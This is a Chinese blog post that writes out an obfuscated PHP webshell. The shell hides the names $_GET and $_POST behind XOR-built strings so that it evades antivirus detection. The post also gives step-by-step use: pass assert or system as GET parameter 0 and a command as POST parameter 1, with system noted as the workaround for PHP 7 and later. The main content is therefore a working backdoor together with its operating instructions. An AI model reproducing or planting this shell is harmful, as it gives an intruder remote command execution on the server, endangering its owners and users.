首页 > 其他分享 >关于一个很抽象的马

关于一个很抽象的马

时间:2023-08-07 15:46:22浏览次数:27  
标签:传参 get 一个 代码 system assert 抽象 关于

中午大佬学长给我们发了个免杀马,捅咕一中午才看明白,简单记录下

主要就是先用pack给他切割了一下,然后再转换下进制,传参的时候先传要截断多少,后边命令的代码要先转换成16进制,然后再在两头加上要截断的位数,把中间保留下来

代码是别人的,这里就不贴了,说说另一个很抽象的马

 1 <?php
 2 
 3 @$_++;                           //定义一个$_变量,并自增,值变为“1”
 4 
 5 $__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
 6 
 7 $___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
 8 
 9 ${$__}[!$_](${$___}[$_]);       //$_值为1,!$_值为-1,${$__}为变量$__的值,这句翻译过来等于$__[0]($___[1])
10 
11 ?>

是不是挺抽象

使用时按照最后一句,get传参0=assert,然后post的1是一键的密码

这个马只有在php7以前的版本才能正常使用,简单说就是assert在php7之后assert()默认不再可以执行代码

而这段代码是将assert传了进去,能够替换的函数暂时还没找到,等我看看这个马还能不能改进一下

不过虽然没法使用assert,但是system等执行命令的函数是可以传进去的,所以7以后的版本可以直接在get中传0=system,然后在post中直接执行1=command

 

标签:传参,get,一个,代码,system,assert,抽象,关于
From: https://www.cnblogs.com/theskyforfly/p/17611601.html

相关文章

  • 关于引用elementui中的el-date-picker组件
    最近有一个需求要用到elementui中的日期选择器组件,但是elementui中的不太满足,在网上找到一个引用里面的组件的教程https://blog.csdn.net/mouday/article/details/103932261但是引用完成后报错Moduleparsefailed:Unexpectedtoken(65:6)Youmayneedanappropriateloader......
  • Siemens 教你用博图V17编写一个PLC程序
    博途软件更新很快,但是很多朋友发现,博途V17和旧的版本在组态的时候,有一些变化,本文就手把手教你使用博途V17,编写一个简单的PLC项目。该演示在虚拟机中,使用的博途V17软件版本实现。具体操作步骤如下:1、鼠标双击博途软件图标 2、依次选择“启动”-“创建新项目”,选择存放路径,并......
  • 关于台式电脑散热的那些事情——开放式机箱的极致散热
    由于搞AI,于是自己家中买了几台workstation,虽然正事没弄明白多少但是闲事却搞的有滋有味,其中的一件就是机箱散热的问题。 对于机箱散热的问题前些年曾经写过一个机房机柜的设计,简单的说那就是直接把冷气直接打到机柜里,而机柜也搞成半封闭的状态,这样的散热效果一定要好于当前的机房......
  • 实景案例 售楼部入口水景镜面不锈钢抽象雕塑图片 手工锻造镜面不锈钢飘带雕塑
    实景案例售楼部入口水景镜面不锈钢抽象雕塑图片手工锻造镜面不锈钢飘带雕塑......
  • 微信小程序9 关于解密,前端解密
    我们之前在学习button时,可以通过调用getphonenumber获取手机号,但是获取后却发现是加密了的,那么如何解密呢,微信官方提供了相应的方法。 1.首先我们可以去下载官方提供的解密的js放在本地,推荐放到这个utils文件下。关键是这个RdWXBizDataCrypt.js文件,可以通过这个名字去百度。......
  • C#抽象静态方法
    抽象静态方法在C#11中,引入了对抽象静态接口成员的支持。这个特性可以让你在接口中定义静态抽象方法、属性、或事件。具体来说,一个接口可以定义一个或多个抽象静态成员,这些成员没有具体的实现。任何实现该接口的类或结构必须提供这些成员的静态实现。这就像实现普通接口成员一样......
  • 在开源项目中看到一个改良版的雪花算法,现在它是你的了。
    你好呀,我是歪歪。在Seata的官网上看到一篇叫做“关于新版雪花算法的答疑”的文章。http://seata.io/zh-cn/blog/seata-snowflake-explain.html看明白之后,我觉得还是有点意思的,结合自己的理解和代码,加上画几张图,给你拆解一下Seata里面的“改良版雪花算法”。虽然是在Se......
  • 使用kubeadm快速部署一个k8s集群
    1.部署Kubernetes集群方式(1)kubeadmKubeadm是一个K8s部署工具,提供kubeadminit和kubeadmjoin,用于快速部署Kubernetes集群。官方地址:https://kubernetes.io/zh-cn/docs/reference/setup-tools/kubeadm/(2)二进制包从github下载发行版的二进制包,手动部署每个组件,组成Kube......
  • 游戏运营——关于游戏玩家社群
    记得在上个游戏中,我们在TapTap上线,当时建了两个QQ群,游戏上线不到一周的时间,QQ群就满了。我惊讶与群友们的活跃度,真是热爱游戏的小伙伴们,从个人游戏体验到建议,不吝啬地在群里表达,每隔一小时都能达到999+,我的心情也跟着激动、开心和紧张。所以在现在的项目里,我第一时间就想到建立......
  • 一个类继承一个单例还是单例的实现
    classA{static$inc;privatefunction__construct(){}privatefunction__clone(){}publicstaticfunctionget_self(){if(!(self::$incinstanceofself)){self::$inc=newself();}returnself::$inc;}......